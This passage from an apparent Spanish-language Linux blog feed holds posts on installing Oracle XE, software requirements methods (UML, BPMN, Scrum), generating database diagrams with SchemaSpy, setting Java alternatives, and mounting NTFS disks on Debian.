/&gt;slack@zion:~$ sudo apt-get install oracle-xe&lt;br /&gt;Leyendo lista de paquetes... Hecho&lt;br /&gt;Creando árbol de dependencias      &lt;br /&gt;Leyendo la información de estado... Hecho&lt;br /&gt;Los siguientes paquetes se instalaron automáticamente y no son necesarios:&lt;br /&gt;  libvncserver0 virtualbox-ose-dkms&lt;br /&gt;Utilice «apt-get autoremove» para eliminarlos.&lt;br /&gt;Se instalarán los siguientes paquetes NUEVOS:&lt;br /&gt;  oracle-xe&lt;br /&gt;0 actualizados, 1 se instalarán, 0 para eliminar y 323 no actualizados.&lt;br /&gt;Necesito descargar 221MB de archivos.&lt;br /&gt;Se utilizarán 405MB de espacio de disco adicional después de esta operación.&lt;br /&gt;Des:1 http://oss.oracle.com/debian/ unstable/non-free oracle-xe i386 10.2.0.1-1.1 [221MB]&lt;br /&gt;Descargados 221MB en 49min 18s (74,6kB/s)                                                                                                                                                             &lt;br /&gt;Seleccionando el paquete oracle-xe previamente no seleccionado.&lt;br /&gt;(Leyendo la base de datos ...  00%&lt;br /&gt;167518 ficheros y directorios instalados actualmente.)&lt;br /&gt;Desempaquetando oracle-xe (de .../oracle-xe_10.2.0.1-1.1_i386.deb) ...&lt;br /&gt;Procesando disparadores para desktop-file-utils ...&lt;br /&gt;Procesando disparadores para python-gmenu ...&lt;br /&gt;Rebuilding /usr/share/applications/desktop.es_ES.utf8.cache...&lt;br /&gt;Procesando disparadores para man-db ...&lt;br /&gt;Procesando disparadores para ureadahead ...&lt;br /&gt;ureadahead will be reprofiled on next reboot&lt;br /&gt;Procesando disparadores para python-support ...&lt;br /&gt;Configurando oracle-xe (10.2.0.1-1.1) ...&lt;br /&gt;update-rc.d: warning: /etc/init.d/oracle-xe missing LSB information&lt;br /&gt;update-rc.d: see &lt;http://wiki.debian.org/lsbinitscripts&gt;&lt;br /&gt;Executing Post-install steps...&lt;br /&gt;&lt;br /&gt;-e You must run '/etc/init.d/oracle-xe configure' as the root user to configure the database.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Suerte !!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1249668162136945041-3987325701251187959?l=linslackware.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linslackware.blogspot.com/feeds/3987325701251187959/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1249668162136945041&amp;postID=3987325701251187959' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/3987325701251187959'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/3987325701251187959'/><link rel='alternate' type='text/html' href='http://linslackware.blogspot.com/2011/03/instalar-oracle-xe.html' title='Instalar Oracle XE'/><author><name>slack</name><uri>http://www.blogger.com/profile/09162360884255584258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://spd.fotologs.net/photo/29/51/80/linslackware/1177287418_f.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1249668162136945041.post-3024895869974469603</id><published>2011-02-24T16:48:00.013-03:00</published><updated>2011-02-24T17:09:42.250-03:00</updated><title type='text'>Metodología Para Toma De Requerimientos</title><content type='html'>&lt;span style="font-weight: bold;"&gt;¿ Que es un requerimiento ?&lt;/span&gt;&lt;br /&gt;Una definición adoptada es que un requerimiento es simplemente una declaración abstracta de alto nivel&lt;br /&gt;de un servicio que debe proporcionar un sistema.&lt;br /&gt;Los requerimientos son una pieza fundamental en proyectos de Software, en base a esto se puede determinar y hacer estimaciones de tiempo, costos, definir recursos necesarios, elaborar cronogramas, plan de trabajo, cartas gantt, etc.&lt;br /&gt;Permite verificar y comprobar si se obtuvieron los objetivos establecidos para el proyecto.&lt;br /&gt;Muchas veces los proyectos fracasan por que la toma de requerimientos es incompleta, falta de documentación o por el mal manejo de los cambios de los requerimientos durante la vida de desarrollo del Software.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Clasificación de Requerimientos&lt;/span&gt;&lt;br /&gt;La clasificación de requerimientos es importante, de esta manera podemos definir y abstraer con mayor detalle los tipos de requerimientos a los que nos enfrentamos, los requerimientos se pueden clasificar en:&lt;br /&gt;&lt;br /&gt;● Requerimientos Funcionales.&lt;br /&gt;● Requerimientos no Funcionales.&lt;br /&gt;● Requerimientos de Implementación.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Requerimientos Funcionales: &lt;/span&gt;Describen las interacciones entre el sistema y su entorno, usuarios u otros&lt;br /&gt;sistemas.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Requerimientos No Funcionales:&lt;/span&gt; Describen aspectos visibles del sistema por el usuario, y que no se relacionan directamente con el comportamiento funcional del sistema.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Requerimientos de Implementación:&lt;/span&gt; Corresponden a las necesidades del cliente que restringen la implementación, como la plataforma tecnológica, de hardware, redes, etc.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Características en la Toma de Requerimientos&lt;/span&gt;&lt;br /&gt;Las características mas importantes y fundamentales para una toma de requerimientos deben contener los siguientes puntos:&lt;br /&gt;&lt;br /&gt;● Un requerimientos debe estar especificado siempre por escrito.&lt;br /&gt;● Un requerimiento debe ser posible de probar y verificar.&lt;br /&gt;● Un requerimiento debe ser conciso.&lt;br /&gt;● Un requerimiento debe ser completo.&lt;br /&gt;● Un requerimiento debe ser consistente.&lt;br /&gt;● Un requerimiento no debe ser ambiguo.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Normas de Calidad y Estándares&lt;/span&gt;&lt;br /&gt;Ahora que ya entendemos lo que es un requerimiento, podemos hacer uso de alguna técnica enmarcada en una metodología estándar, utilizada en la industria y de clase mundial. (Std 610.12-1900, IEEE:62 ) y que nos  permitirá entender y documentar formalmente la obtención de requerimientos para el desarrollo de algún tipo de proyecto de software.&lt;br /&gt;&lt;br /&gt;● Se sugiere la utilización de diagramas UML(Caso de Uso) y Procesos(BPMN) con formato de documentos definidos (IEEE-STD-803-1998) y (formal/2011-01-03).&lt;br /&gt;● También se sugiere utilizar SCRUM como metodología ágil para la definición de requerimientos para un desarrollo de software.&lt;br /&gt;&lt;br /&gt;Las metodologías imponen un proceso disciplinado sobre el desarrollo de software con el fin de hacerlo más predecible y eficiente.&lt;br /&gt;Nos dan la posibilidad de hacer mejor las cosas y generar valor.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Casos de Uso (UML)&lt;/span&gt;&lt;br /&gt;UML (Lenguaje Unificado de Modelado), con los casos de uso, apoyan al análisis de los requerimientos como una técnica de adquisición de estos, una definición es que los Casos de Uso no son parte del diseño, sino parte del análisis.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://3.bp.blogspot.com/-JiTcJ3zNy4Y/TWa3SZi53tI/AAAAAAAAAM8/JkU-cQOttV0/s1600/usecase.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 320px; height: 98px;" src="http://3.bp.blogspot.com/-JiTcJ3zNy4Y/TWa3SZi53tI/AAAAAAAAAM8/JkU-cQOttV0/s320/usecase.jpg" alt="" id="BLOGGER_PHOTO_ID_5577346715267751634" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;Ficha de Caso de Uso&lt;/span&gt;&lt;br /&gt;Cada caso de uso debe estar documentado en el siguiente formato estándar conocido como ficha de caso de uso.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://3.bp.blogspot.com/-08fuw3Sbu-U/TWa3xAhWt1I/AAAAAAAAANE/Ui9kOXUDPXQ/s1600/fichausecase.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 320px; height: 273px;" src="http://3.bp.blogspot.com/-08fuw3Sbu-U/TWa3xAhWt1I/AAAAAAAAANE/Ui9kOXUDPXQ/s320/fichausecase.jpg" alt="" id="BLOGGER_PHOTO_ID_5577347241126311762" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;BPMN&lt;/span&gt;&lt;br /&gt;Corresponde a la notación estándar para el diseño de procesos de negocio, similar al diagrama de actividades del UML, pretende proporcionar una notación fácilmente comprensible por todos los usuarios del negocio, desde los analistas, desarrolladores, clientes, hasta aquellos que monitorizarán y gestionarán los procesos.&lt;br /&gt;&lt;br /&gt;Notación básica&lt;br /&gt;&lt;br /&gt;&lt;a href="http://4.bp.blogspot.com/-tY_21syvc64/TWa4HZrmuUI/AAAAAAAAANM/1fRPHD9gxQs/s1600/notacion_bpmn_basica.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 320px; height: 261px;" src="http://4.bp.blogspot.com/-tY_21syvc64/TWa4HZrmuUI/AAAAAAAAANM/1fRPHD9gxQs/s320/notacion_bpmn_basica.jpg" alt="" id="BLOGGER_PHOTO_ID_5577347625837312322" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/-yh1hD9iS6EY/TWa4Rxw1I8I/AAAAAAAAANU/RW40tXNzivg/s1600/1.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 320px; height: 178px;" src="http://1.bp.blogspot.com/-yh1hD9iS6EY/TWa4Rxw1I8I/AAAAAAAAANU/RW40tXNzivg/s320/1.jpg" alt="" id="BLOGGER_PHOTO_ID_5577347804100371394" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://4.bp.blogspot.com/-WIRxwW6DQ50/TWa4WRPyDtI/AAAAAAAAANc/We2awpyHgo0/s1600/2.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 320px; height: 117px;" src="http://4.bp.blogspot.com/-WIRxwW6DQ50/TWa4WRPyDtI/AAAAAAAAANc/We2awpyHgo0/s320/2.jpg" alt="" id="BLOGGER_PHOTO_ID_5577347881271168722" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://3.bp.blogspot.com/-rvOED6HJVYU/TWa4Zezl_KI/AAAAAAAAANk/mP08WKjjKUU/s1600/2.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 320px; height: 117px;" src="http://3.bp.blogspot.com/-rvOED6HJVYU/TWa4Zezl_KI/AAAAAAAAANk/mP08WKjjKUU/s320/2.jpg" alt="" id="BLOGGER_PHOTO_ID_5577347936450641058" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/-Pv3zhefl6oA/TWa4cAKcJLI/AAAAAAAAANs/AfY0kIbsCEs/s1600/3.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 320px; height: 162px;" src="http://1.bp.blogspot.com/-Pv3zhefl6oA/TWa4cAKcJLI/AAAAAAAAANs/AfY0kIbsCEs/s320/3.jpg" alt="" id="BLOGGER_PHOTO_ID_5577347979764573362" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://3.bp.blogspot.com/-rvOED6HJVYU/TWa4Zezl_KI/AAAAAAAAANk/mP08WKjjKUU/s1600/2.jpg"&gt;&lt;br /&gt;&lt;/a&gt;&lt;a href="http://2.bp.blogspot.com/-VPHR_WMsruU/TWa4fQ3kX_I/AAAAAAAAAN0/04U6L-Ouwbo/s1600/bpmn.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 320px; height: 160px;" src="http://2.bp.blogspot.com/-VPHR_WMsruU/TWa4fQ3kX_I/AAAAAAAAAN0/04U6L-Ouwbo/s320/bpmn.jpg" alt="" id="BLOGGER_PHOTO_ID_5577348035788431346" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;SCRUM&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Metodología ágil, la medida justa entre “ningún proceso” y “demasiado proceso”, proporcionando simplemente “suficiente proceso”.&lt;br /&gt;Para tomar requerimientos con esta técnica debemos saber crear una pila de producto.&lt;br /&gt;La pila de producto es el corazón de Scrum, básicamente es una lista priorizada de requisitos, o funcionalidades. Cosas que el cliente quiere y que debe al menos tener los sigtes. campos.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;ID –&lt;/span&gt; un identificador único auto-incremental.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Nombre – &lt;/span&gt;una descripción corta de la historia. Por ejemplo, “Ver tu historial de transacciones”. Suficientemente claro como para comprender de qué estamos hablando.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Importancia –&lt;/span&gt; el ratio de importancia que se da a la historia. Por ejemplo, 10. O 150. Más alto = más importante. Suelo evitar el término “prioridad” porque típicamente “1” se considera la “máxima prioridad, lo  que es muy incómodo si posteriormente decides que algo es más importante. ¿Qué prioridad le daríamos a ese nuevo elemento? ¿Prioridad 0? ¿Prioridad -1?&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Estimación inicial – &lt;/span&gt;la valoración inicial del Equipo acerca de cuanto trabajo es necesario para implementar la historia, comparada con otras historias. La unidad son “puntos de historia” y usualmente corresponde a “días-persona ideales”.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Como probarlo – &lt;/span&gt;una descripción a alto nivel de como se demostrará esta historia. Se trata, esencialmente, de una simple especificación de un test: “Haz esto, entonces haz lo otro, y entonces debería ocurrir aquello”. Si se practica TDD (Test-Driven Development, desarrollo orientado a test) esta descripción puede usarse como pseudo-código para vuestro test de aceptación.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Notas – &lt;/span&gt;cualquier otra información, clarificación, referencia a otras fuentes de información, etc.  Normalmente muy breve.&lt;br /&gt;&lt;br /&gt;Ejemplo de pila de producto&lt;br /&gt;&lt;br /&gt;&lt;a href="http://4.bp.blogspot.com/-DqQ1NoxIykE/TWa5RqCxw8I/AAAAAAAAAN8/03tKx9ypAsM/s1600/pilaproducto.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 320px; height: 190px;" src="http://4.bp.blogspot.com/-DqQ1NoxIykE/TWa5RqCxw8I/AAAAAAAAAN8/03tKx9ypAsM/s320/pilaproducto.jpg" alt="" id="BLOGGER_PHOTO_ID_5577348901539791810" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Resumen&lt;/span&gt;&lt;br /&gt;Hemos revisado 3 técnicas para toma de requerimientos y análisis, con el fin de entender la verdadera necesidad del cliente.&lt;br /&gt;UML, BPMN y Scrum son estándares. Se utilizan exitosamente, ya sea en propuestas o en desarrollos.&lt;br /&gt;Estas metodologías se deben incorporar como técnicas para la captura de requerimientos, comprometerse con cumplir el procedimiento y adoptar estas técnicas nos diferenciaran positivamente de la competencia y agregaran valor a nuestro trabajo.&lt;br /&gt;En un proceso de desarrollo de software es muy importante contar con un nivel de documentación de los sistemas, estos nos permite:&lt;br /&gt;&lt;br /&gt;● Mejoramiento continuo de los sistemas&lt;br /&gt;● Entendimiento claro de los requisitos.&lt;br /&gt;● Re-ingeniería de sistemas.&lt;br /&gt;● Certificación y controles de auditoría más expedito.&lt;br /&gt;● Mejor administración de sistemas y control de cambios.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;¿Por qué utilizar un modelo de desarrollo?&lt;/span&gt;&lt;br /&gt;● Por que es una guía a seguir que contiene las mejores prácticas reconocidas a nivel mundial.&lt;br /&gt;● Por que permite estandarizar las prácticas establecidas en cuanto a desarrollo y mantención del software.&lt;br /&gt;● Por que se enfoca en las áreas claves donde es necesario realizar mejoras.&lt;br /&gt;● Por que genera mejoramiento de la calidad y satisfacción del cliente, mediante una mejor administración de&lt;br /&gt;los requerimientos e identificación temprana de errores.&lt;br /&gt;● Por que permite mejorar cumplimiento de los tiempos de entrega estimados a través de una planificación&lt;br /&gt;más rigurosa.&lt;br /&gt;● Por que genera una base de conocimiento para el mejoramiento continuo.&lt;br /&gt;● Por que permite detectar errores en las etapas iniciales y mejorar el presupuesto de los proyectos.&lt;br /&gt;● A través de los repositorios de datos, permite obtener métricas para apoyar la toma de decisiones.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Este es un proceso de aprendizaje continuo, así que la historia no acaba aquí.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://2.bp.blogspot.com/-ydCq-wR9HXQ/TWa53jFXMUI/AAAAAAAAAOE/cWy77EVt5_8/s1600/DSCF0651.JPG"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 320px; height: 75px;" src="http://2.bp.blogspot.com/-ydCq-wR9HXQ/TWa53jFXMUI/AAAAAAAAAOE/cWy77EVt5_8/s320/DSCF0651.JPG" alt="" id="BLOGGER_PHOTO_ID_5577349552506614082" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Bee Free.. Use Linux...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1249668162136945041-3024895869974469603?l=linslackware.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linslackware.blogspot.com/feeds/3024895869974469603/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1249668162136945041&amp;postID=3024895869974469603' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/3024895869974469603'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/3024895869974469603'/><link rel='alternate' type='text/html' href='http://linslackware.blogspot.com/2011/02/metodologia-para-toma-de-requerimientos.html' title='Metodología Para Toma De Requerimientos'/><author><name>slack</name><uri>http://www.blogger.com/profile/09162360884255584258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://spd.fotologs.net/photo/29/51/80/linslackware/1177287418_f.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-JiTcJ3zNy4Y/TWa3SZi53tI/AAAAAAAAAM8/JkU-cQOttV0/s72-c/usecase.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1249668162136945041.post-6701014669302044527</id><published>2011-02-14T15:49:00.003-03:00</published><updated>2011-02-14T16:03:27.255-03:00</updated><title type='text'>Crear modelo de datos a partir de las tablas</title><content type='html'>Hola, muchas veces necesitamos aclarar un poco el panorama con respecto al modelo de datos de nuestro sistema, ver relaciones, tablas, costraint, etc. para esto tenemos varias herramientas open source que nos permiten generar el modelo de datos a partir de cualquier base de datos, existe un plugin para eclipse llamado clay database, el cual es bastante bueno y nos permite generar este modelo y manipular tablas desde el mismo eclipse, se los dejo para que lo revisen.&lt;br /&gt;&lt;br /&gt;Sin embargo ahora vamos a hablar de otra herramienta, escrita en java, open source y multiplataforma, se llama SchemaSpy y esta disponible en sourceforge.net (http://schemaspy.sourceforge.net/) básicamente se traduce en el uso de una librería jar, la cual con una serie de comandos y sus parametros nos permite generar de forma automática este modelo de datos y otra información de la base que necesitamos, entonces descargamos este jar y lo dejamos en un directorio que creamos, en este mismo directorio debemos colocar el jar para conectarnos a postgres, luego:&lt;br /&gt;&lt;br /&gt;1.- ejecutamos el sigte. comando desde el directorio con los parámetros que se indican:&lt;br /&gt;&lt;br /&gt;slack@zion:~/programas/SchemaSpy$ java -jar schemaSpy_5.0.0.jar -t pgsql -db sdemovistar -host localhost -u sdemovistar -p sdemovistar -s public -dp postgresql-jdbc3-8.1-405.jar -o der&lt;br /&gt;&lt;br /&gt;la ejecución del comando anterior nos despliega un log como el sigte:&lt;br /&gt;&lt;br /&gt;Using database properties:&lt;br /&gt; [schemaSpy_5.0.0.jar]/net/sourceforge/schemaspy/dbTypes/pgsql.properties&lt;br /&gt;Gathering schema details.......(0sec)&lt;br /&gt;Writing/graphing summary............(0sec)&lt;br /&gt;Writing/diagramming details....(0sec)&lt;br /&gt;Wrote relationship details of 4 tables/views to directory 'der' in 0 seconds.&lt;br /&gt;View the results by opening der/index.html&lt;br /&gt;slack@zion:~/programas/SchemaSpy$&lt;br /&gt;&lt;br /&gt;Una vez hecho esto se genera en el mismo directorio de salida que uno parametriza, en este caso le llame der y va al final de la linea de comando -o (output) der&lt;br /&gt;&lt;br /&gt;dentro de este directorio crea un archivo index.html, el que al abrir  con cualquier browser nos muestra la salida generada con esta herramienta.&lt;br /&gt;&lt;br /&gt;Y así, facil y bonito, por eso bee free... use Linux.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1249668162136945041-6701014669302044527?l=linslackware.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linslackware.blogspot.com/feeds/6701014669302044527/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1249668162136945041&amp;postID=6701014669302044527' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/6701014669302044527'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/6701014669302044527'/><link rel='alternate' type='text/html' href='http://linslackware.blogspot.com/2011/02/crear-modelo-de-datos-partir-de-las.html' title='Crear modelo de datos a partir de las tablas'/><author><name>slack</name><uri>http://www.blogger.com/profile/09162360884255584258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://spd.fotologs.net/photo/29/51/80/linslackware/1177287418_f.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1249668162136945041.post-5138345880393811632</id><published>2010-08-27T11:02:00.002-04:00</published><updated>2010-08-27T11:06:31.269-04:00</updated><title type='text'>Agregar Java a Alternatives</title><content type='html'>Hola,&lt;br /&gt;&lt;br /&gt;A veces instalamos alguna jdk en nuestro sistema pero aun no la podemos setear para que sea la que nos arroje el comando java -version, y en algunos casos tampoco nos aparece en con el comando update-alternatives --config java para seleccionarla, en estos casos debemos primero agregar esta nueva java a nuestras alternativas de la sigte forma:&lt;br /&gt;&lt;br /&gt;1.- debian:/home/slack# sudo update-alternatives --install java java /home/slack/programas/java/jdk1.6.0_20/bin/java 30&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;y en el paso 2 ya estara en la lista para sellecionarla:&lt;br /&gt;&lt;br /&gt;2.-&lt;br /&gt;&lt;br /&gt;debian:/home/slack# update-alternatives --config java&lt;br /&gt;&lt;br /&gt;Hay 4 alternativas que proveen `java'.&lt;br /&gt;&lt;br /&gt;  Selección     Alternativa&lt;br /&gt;-----------------------------------------------&lt;br /&gt;          1    /usr/bin/gij-4.3&lt;br /&gt; +        2    /usr/lib/jvm/java-gcj/jre/bin/java&lt;br /&gt;*         3    /usr/lib/jvm/java-6-sun/jre/bin/java&lt;br /&gt;          4    /home/slack/programas/java/jdk1.6.0_20/bin/java&lt;br /&gt;&lt;br /&gt;Pulse &lt;intro&gt; para mantener el valor por omisión [*] o pulse un número de selección: 4&lt;br /&gt;Utilizando `/home/slack/programas/java/jdk1.6.0_20/bin/java' para proveer `java'.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Suerte !!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1249668162136945041-5138345880393811632?l=linslackware.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linslackware.blogspot.com/feeds/5138345880393811632/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1249668162136945041&amp;postID=5138345880393811632' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/5138345880393811632'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/5138345880393811632'/><link rel='alternate' type='text/html' href='http://linslackware.blogspot.com/2010/08/agregar-java-alternatives.html' title='Agregar Java a Alternatives'/><author><name>slack</name><uri>http://www.blogger.com/profile/09162360884255584258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://spd.fotologs.net/photo/29/51/80/linslackware/1177287418_f.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1249668162136945041.post-8922989947470722639</id><published>2010-08-12T01:12:00.003-04:00</published><updated>2010-08-12T01:22:40.319-04:00</updated><title type='text'>Diagramas UML</title><content type='html'>Solo como apunte,&lt;br /&gt;&lt;br /&gt;UML esta compuesto por los siguientes diagramas.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_-ixaLQDJLhI/TGOElevXTKI/AAAAAAAAAMk/gff5F9IwbHs/s1600/casos_de_uso.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 159px;" src="http://2.bp.blogspot.com/_-ixaLQDJLhI/TGOElevXTKI/AAAAAAAAAMk/gff5F9IwbHs/s320/casos_de_uso.jpg" alt="" id="BLOGGER_PHOTO_ID_5504388949018627234" border="0" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1249668162136945041-8922989947470722639?l=linslackware.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linslackware.blogspot.com/feeds/8922989947470722639/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1249668162136945041&amp;postID=8922989947470722639' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/8922989947470722639'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/8922989947470722639'/><link rel='alternate' type='text/html' href='http://linslackware.blogspot.com/2010/08/diagramas-uml.html' title='Diagramas UML'/><author><name>slack</name><uri>http://www.blogger.com/profile/09162360884255584258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://spd.fotologs.net/photo/29/51/80/linslackware/1177287418_f.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_-ixaLQDJLhI/TGOElevXTKI/AAAAAAAAAMk/gff5F9IwbHs/s72-c/casos_de_uso.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1249668162136945041.post-7267291561278314399</id><published>2010-08-07T21:59:00.006-04:00</published><updated>2010-08-12T16:13:08.894-04:00</updated><title type='text'>Montar discos en Debian Leny</title><content type='html'>Hola, ubuntu me dio muchos atados asi que volvi a debian, en este caso la version 5, Debian Leny, estable y rapido desde el principio, aunque luche un poco para configurar mi wifi BCM4312, pero nada que no se pueda resolver, en fin, tuve ademas un problema al querer montar el disco externo, donde tenia respaldo de mi anterior Linux Ubuntu 10.4, la cosa es que cuando conecte el disco externo por USB me salio un mensaje que decia que no se podia montar la unidad, busque por ahi y por allá y me fui al terminal  para buscar &lt;span style="font-weight: bold;"&gt;ntfs-3g&lt;/span&gt;, un programa para trabajar las particiones o dicos conectados al sistema:&lt;br /&gt;&lt;br /&gt;textual del wokipedia:&lt;br /&gt;&lt;b&gt;NTFS-3G&lt;/b&gt; es un &lt;a href="http://es.wikipedia.org/wiki/Controlador_de_dispositivo" title="Controlador de dispositivo"&gt;controlador&lt;/a&gt; estable de &lt;a href="http://es.wikipedia.org/wiki/NTFS" title="NTFS"&gt;NTFS&lt;/a&gt; para &lt;a href="http://es.wikipedia.org/wiki/Linux" title="Linux" class="mw-redirect"&gt;Linux&lt;/a&gt;, &lt;a href="http://es.wikipedia.org/wiki/Mac_OS_X" title="Mac OS X"&gt;Mac OS X&lt;/a&gt;, &lt;a href="http://es.wikipedia.org/wiki/FreeBSD" title="FreeBSD"&gt;FreeBSD&lt;/a&gt;, &lt;a href="http://es.wikipedia.org/wiki/BeOS" title="BeOS"&gt;BeOS&lt;/a&gt; y &lt;a href="http://es.wikipedia.org/wiki/Haiku_%28sistema_operativo%29" title="Haiku (sistema operativo)"&gt;Haiku&lt;/a&gt; con licencia &lt;a href="http://es.wikipedia.org/wiki/Licencia_p%C3%BAblica_general_de_GNU" title="Licencia pública general de GNU" class="mw-redirect"&gt;GNU GPL&lt;/a&gt; y de &lt;a href="http://es.wikipedia.org/wiki/C%C3%B3digo_abierto" title="Código abierto"&gt;código abierto&lt;/a&gt;. Al contrario que el driver NTFS incluido en el &lt;a href="http://es.wikipedia.org/wiki/N%C3%BAcleo_%28inform%C3%A1tica%29" title="Núcleo (informática)"&gt;kernel&lt;/a&gt; Linux, tiene muy pocas limitaciones en cuanto a la escritura de archivos: permite crear, renombrar, mover o borrar ficheros de cualquier tamaño en &lt;a href="http://es.wikipedia.org/wiki/Partici%C3%B3n_de_disco" title="Partición de 